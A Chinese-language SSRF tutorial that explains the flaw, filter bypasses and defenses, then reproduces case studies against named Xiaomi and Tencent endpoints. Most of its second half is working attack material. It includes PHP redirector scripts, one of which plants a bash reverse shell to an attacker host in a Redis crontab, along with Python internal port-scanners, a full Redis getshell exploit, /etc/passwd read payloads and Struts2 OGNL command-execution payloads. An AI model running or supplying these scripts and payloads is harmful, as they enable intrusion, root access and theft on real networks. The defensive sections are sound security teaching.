0x00 什么是SSRF
SSRF漏洞尋找內網入口,是突破內網的一個方法。
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)。
SSRF形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
0x01 這類漏洞常出現在哪里
從web功能上尋找:
1、 分享:通過url地址分享網頁內容
http://www.***.com/***?resourceUrl=https://www.sobug.com
通過目標URL地址獲取了title標簽和相關文本內容。而如果在此功能中沒有對目標地址的范圍做過濾與限制,則就存在着SSRF漏洞
2、 轉碼:通過URL地址把原地址的網頁內容調優使其適合手機屏幕瀏覽
3、 在線翻譯:通過URL地址翻譯對應文本的內容
4、 圖片加載與下載:通過URL地址加載或下載圖片
5、 圖片、文章收藏功能
6、未公開的api實現以及其他調用URL的功能
從URL關鍵字尋找:
share、wap、url、link、src、source、target、u、3g、
display、sourceURl、imageURL、domain...
0x02 漏洞驗證,使用排除法
排除法一:
http://www.XXXXX.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
你可以直接右鍵圖片,在新窗口打開圖片,如果是瀏覽器上URL地址欄是http://www.baidu.com/img/bd_logo1.png,說明不存在SSRF漏洞。
排除法二:
你可以使用burpsuite等抓包工具來判斷是否不是SSRF,首先SSRF是由服務端發起的請求,因此在加載圖片的時候,是由服務端發起的,所以在我們本地瀏覽器的請求中就不應該存在圖片的請求,在此例子中,如果刷新當前頁面,有如下請求,則可判斷不是SSRF。(前提設置burpsuite截斷圖片的請求,默認是放行的)
firebug看網絡連接信息,若沒有http://www.baidu.com/img/bd_logo1.png
這個圖片請求,則證明圖片是豆瓣服務端發起的請求,則可能存在SSRF漏洞。
0x03 繞過過濾
有時漏洞利用時會遇到IP限制,可用如下方法繞過:
* 使用@:http://A.com@10.10.10.10 = 10.10.10.10
* IP地址轉換成十進制、八進制:127.0.0.1 = 2130706433
* 使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
* 端口繞過:ip后面加一個端口
* xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
* 通過js跳轉
0x04 通用的SSRF實例
* weblogin配置不當,天生ssrf漏洞
* discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
* CVE-2016-1897/8 - FFMpeg
* CVE-2016-3718 - ImageMagick
0x05 SSRF漏洞的防御
攻擊者利用SSRF可以實現的攻擊主要有3種:
1、獲取web應用可達服務器服務的banner信息以及收集內網web應用的指紋識別,如開放的端口,中間件版本信息等。
2、攻擊運行在內網的系統或應用程序,獲取內網各系統弱口令進行內網漫游、對有漏洞的內網web應用實施攻擊獲取webshell,如st2命令執行、discuz ssrf通過redis實施getshell等。
3、利用有脆弱性的組件結合ftp://,file:///,gopher://,dict://等協議實施攻擊。如FFmpeg任意文件讀取,xxe攻擊等。
http://192.168.163.150/test.php?url=file:///etc/passwd 獲取敏感文件的信息
基本協議格式:URL:gopher://<host>:<port>/<gopher-path> 參考:https://blog.chaitin.cn/gopher-attack-surfaces/
http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 獲取mysql版本信息
有什么好的方式檢測正在實施的SSRF攻擊呢?
SSRF是含有一定特征性的,一般一個接口,異常的請求內網IP,在日志系統中都有記錄,且很可能是連續性的,因為他要猜測,所以在一定時間段會有明顯的請求量。你可以通過這個特征去做初步判斷。
防御SSRF的必要性?
企業對安全的防護往往針對於外網,相對於外網,內網的安全一般做得比較雞肋,而SSRF漏洞正好為外網與內網之間打開了大門,讓原本看似固若金湯的防護瞬間崩塌,為企業和個人帶來了巨大的危害,輕則導致內網服務器及系統相關敏感信息泄漏,重則導致內網漫游,結合其它漏洞獲取內網系統webshell以及進行內網滲透,敏感數據被竊取。
如何防御SSRF呢?
1、過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法;
2、統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態;
3、限制請求的端口為http常用的端口,比如,80,443,8080,8090;
4、黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網;
5、禁用不需要的協議。僅允許http和https請求;
6、使用正則對參數進行效驗,防止畸形請求繞過黑名單。
0x06 案例學習
一、豬豬俠SSRF利用學習
版權聲明:轉載請注明來源 豬豬俠@烏雲
wooyun-2016-0215779 小米某處SSRF漏洞(可內網SHELL 附多線程Fuzz腳本)
wooyun-2016-0215419 騰訊某處SSRF漏洞(非常好的利用點)附利用腳本
# 1 漏洞信息
> SSRF利用點,參數: url
> http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org
# 2 服務端回顯
當從ssrf利用點發起一個遠程請求,如果url資源存在,且MIME類型為HTML,服務端的腳本會分析出HTML頁面內的title、img 等等資源,返回給客戶端。如果MIME是其它類型,將直接返回原文。
## 例1 請求遠程服務器的22端口,直接回顯OpenSSH的banner信息
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:22' {"ret":0,"data":{"type":1,"title":"SSH-2.0-OpenSSH_5.3..."}}
## 例2 請求遠程服務器的80端口,回顯HEAD和圖片資源
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://www.baidu.com' {"ret":0,"data":{"type":2,"pics":["http:\/\/www.baidu.com\/img\/baidu_sylogo1.gif"],"title":"\u767e\u5ea6\u4e00\u4e0b\uff0c\u4f60\u5c31\u77e5\u9053"}}
## 例3 請求不存在的服務器或未開放的端口
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:8888' {"ret":1}
# 3 利用場景
Loction 302跳轉輔助腳本 [302.php]
<?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?>
getshell輔助腳本[shell.php]
<?php $ip = $_GET['ip']; $port = $_GET['port']; $bhost = $_GET['bhost']; $bport = $_GET['bport']; $scheme = $_GET['s']; header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\""); ?>
# 4 服務端支持協議
## Dict協議 -> dict://fuzz.wuyun.org:8080/helo:dict
/302.php?s=dict&ip=fuzz.wuyun.org&port=8080&data=helo:dict
[root@localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted CLIENT libcurl 7.15.1 helo dict QUIT
## Gopher協議 -> gopher://fuzz.wuyun.org:8080/gopher
/302.php?s=gopher&ip=fuzz.wuyun.org&port=8080&data=gopher
[root@localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted GET /gopher HTTP/1.1 Host: 106.75.199.107:8080 Accept: */*
## File協議 -> file:///etc/passwd
這里需要一個輔助腳本
<?php header("Location: file:///etc/passwd"); ?>
服務器請求302跳轉,直接讀取到服務器本地文件
[root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org/file.php' {"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}}
## 綜上所述得出結論
從回顯結果可以判斷服務端的curl為低版本的 7.15.1,支持dict,ftp,gopher,dict等協議
[root@localhost wyssrf]# curl -V Protocols: tftp ftp telnet dict gopher ldap ldaps http file https ftps scp sftp
二、豬豬俠利用SSRF漏洞實現內網getshell
# 1 發現漏洞+漏洞檢驗
首先是漏洞檢驗,找到漏洞的位置,當給message傳參去訪問外網的時候,響應速度快說明存在漏洞。
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?data=helo.jpg[/img]
SSRF作用協議與服務器支持的協議有關,一般有dict、ftp、http協議
例如這一句:對服務器進行訪問
http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict%26ip=fuzz.wuyun.com%26port=8080%26data=helo.jpg[/img]
此外要做到內網探測還需要知道內網地址,豬豬俠這里就是通過info.php獲取到的
# 2 內網服務探測規則原理分析
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080
訪問存在開放的8080端口,網頁在1s內加載完成
http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080
利用ftp協議訪問開放的8080端口,網頁保持Keep-Alive狀態,直到出發nginx的超時
http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011
訪問不存在的端口11011,觸發了小米的nginx的超時, 3.1s內加載完成
也就是說,我們可以通過頁面加載完成時間,來探測內網開放的端口服務
# 3 形成內網探測腳本
通過python的requests,設置一個timeout值,只要http請求2.8秒內沒有響應,直接斷開,如果成功響應,就說明端口開放

#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() import threading import Queue threads_count = 20 scheme = 'dict' port = '6379' ip_block = '10.105' class WyWorker(threading.Thread): def __init__(self,queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: if self.queue.empty(): break try: url = self.queue.get_nowait() content = requests.get(url, timeout=2.8).content print url, 'OPEN', len(content) except requests.exceptions.ReadTimeout: pass except requests.exceptions.ConnectTimeout: pass except Exception, e: break queue = Queue.Queue() for c in xrange(0,255): for d in xrange(0,255): ip = '{0}.{1}.{2}'.format(ip_block,c,d) payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format( scheme=scheme, ip=ip, port=port ) url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format( payload=payload) queue.put(url) threads = [] for i in xrange(threads_count): threads.append(WyWorker(queue)) for t in threads: t.start() for t in threads: t.join()
另外豬豬俠還提到了一直探測方式,利用協議訪問,返回的頁面內容的長度不為9則是服務是開放的。
針對固定的10.網絡 B段、C段進行遍歷探測

#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # fuzz local C for c in xrange(0,255): for d in xrange(0,255): ip = '10.133.{0}.{1}'.format(c,d) payload = 'http://{ip}:{port}/'.format(ip=ip,port=port) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content
隨機針對內網10.網段進行探測

#!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # random fuzz local ip while True: ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254)) payload = 'http://{ip}:80/'.format(ip=ip) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content
# 4 使用dict協議進行遠程利用與分析

#!/usr/bin/env python # coding=utf-8 import requests host = '10.105.0.23' port = '6379' bhost = 'fuzz.wuyun.com' bport = '443' vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]' _location = 'http://fuzz.wuyun.com/302.php' shell_location = 'http://fuzz.wuyun.com/shell.php' #1 flush db _payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #2 set crontab command _payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #3 config set dir /var/spool/cron/ _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #4 config set dbfilename root _payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content) #5 save to file _payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port) exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl) print exp_uri print len(requests.get(exp_uri).content)
上面是豬豬俠的源碼,下面我將源碼提取出來分析一下
#1 flushdb Redis FLUSHALL 刪除所有現有的數據庫,而不僅僅是當前選擇的一個的鍵。此命令不會失敗。 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=flushall#helo.jpg[/img] header("Location: dict://$ip:$port/flushall#helo.jpg[/img]"); #2 set crontab command 設置反彈shell語句 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/shell.php?s=dict&ip={host}&port={port}&bhost={bhost}&bport={bport}#helo.jpg[/img] header("Location: dict://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/fuzz.wuyun.com/443\\x200>\\x261\\x0a\\x0a\\x0a\""); #3 config set dir /var/spool/cron/ 設置計划任務 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=config:set:dir:/var/spool/cron/#helo.jpg[/img] header("Location: dict://$ip:$port/$data"); #4 config set dbfilename root 獲取root權限 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=config:set:dbfilename:root#helo.jpg[/img] header("Location: dict://$ip:$port/config:set:dbfilename:root#helo.jpg[/img]"); #5 save to file 保存 http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict&ip={host}&port={port}&data=save#helo.jpg[/img] header("Location: dict://$ip:$port/save#helo.jpg[/img]");bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
# 整理后的利用語句
利用redis寫定時任務獲取root權限
flushall set 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.1/1234 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save
# 成功獲取到SHELL后的操作
[root@localhost wyssrf]# nc -l -vv 443 [root@lg-sec-weblog01 ~]# id [root@lg-sec-weblog01 ~]# /sbin/ifconfig -a [root@lg-sec-weblog01 ~]# last -20 [root@lg-sec-weblog01 ~]# rm /var/spool/cron/root
# 5 Struts2 命令執行規則表
Struts2 -- 032 ping s2032.struts.99fd5e.dnslog.info GET /?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=ping%20s2032.struts.99fd5e.dnslog.info&pp=%5CA&ppp=%20&encoding=UTF-8 Struts2 -- 019 ping s2019.struts.99fd5e.dnslog.info /?debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#req=@org.apache.struts2.ServletActionContext@getRequest(),#resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ping','s2019.struts.99fd5e.dnslog.info'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[10000],#d.read(#e),#resp.println(#e),#resp.close() Struts2 -- 016 ping s2016.struts.99fd5e.dnslog.info /index.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ping','s2016.struts.99fd5e.dnslog.info'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D Struts2 -- 013 ping s2013.struts.99fd5e.dnslog.info /?a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23a=@java.lang.Runtime@getRuntime().exec('ping s2013.struts.99fd5e.dnslog.info').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())} Struts2 -- 009 ping s2009.struts.99fd5e.dnslog.info /?class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+java.lang.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ping s2009.struts.99fd5e.dnslog.info%27%29.getInputStream%28%29%2c%23b%3dnew+java.io.InputStreamReader%28%23a%29%2c%23c%3dnew+java.io.BufferedReader%28%23b%29%2c%23d%3dnew+char[50000]%2c%23c.read%28%23d%29%2c%23sbtest%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getWriter%28%29%2c%23sbtest.println%28%23d%29%2c%23sbtest.close%28%29%29%28meh%29&z[%28class.classLoader.jarPath%29%28%27meh%27%29] Struts2 -- 005 ping s2005.struts.99fd5e.dnslog.info /?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ping s2005.struts.99fd5e.dnslog.info\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
# 6 修復方案:
1、更新補丁
2、SSRF所在服務器,iptables禁止訪問內網資源
0x07 參考鏈接:
http://bobao.360.cn/learning/detail/240.html
https://www.jianshu.com/p/ad7b8079e0d5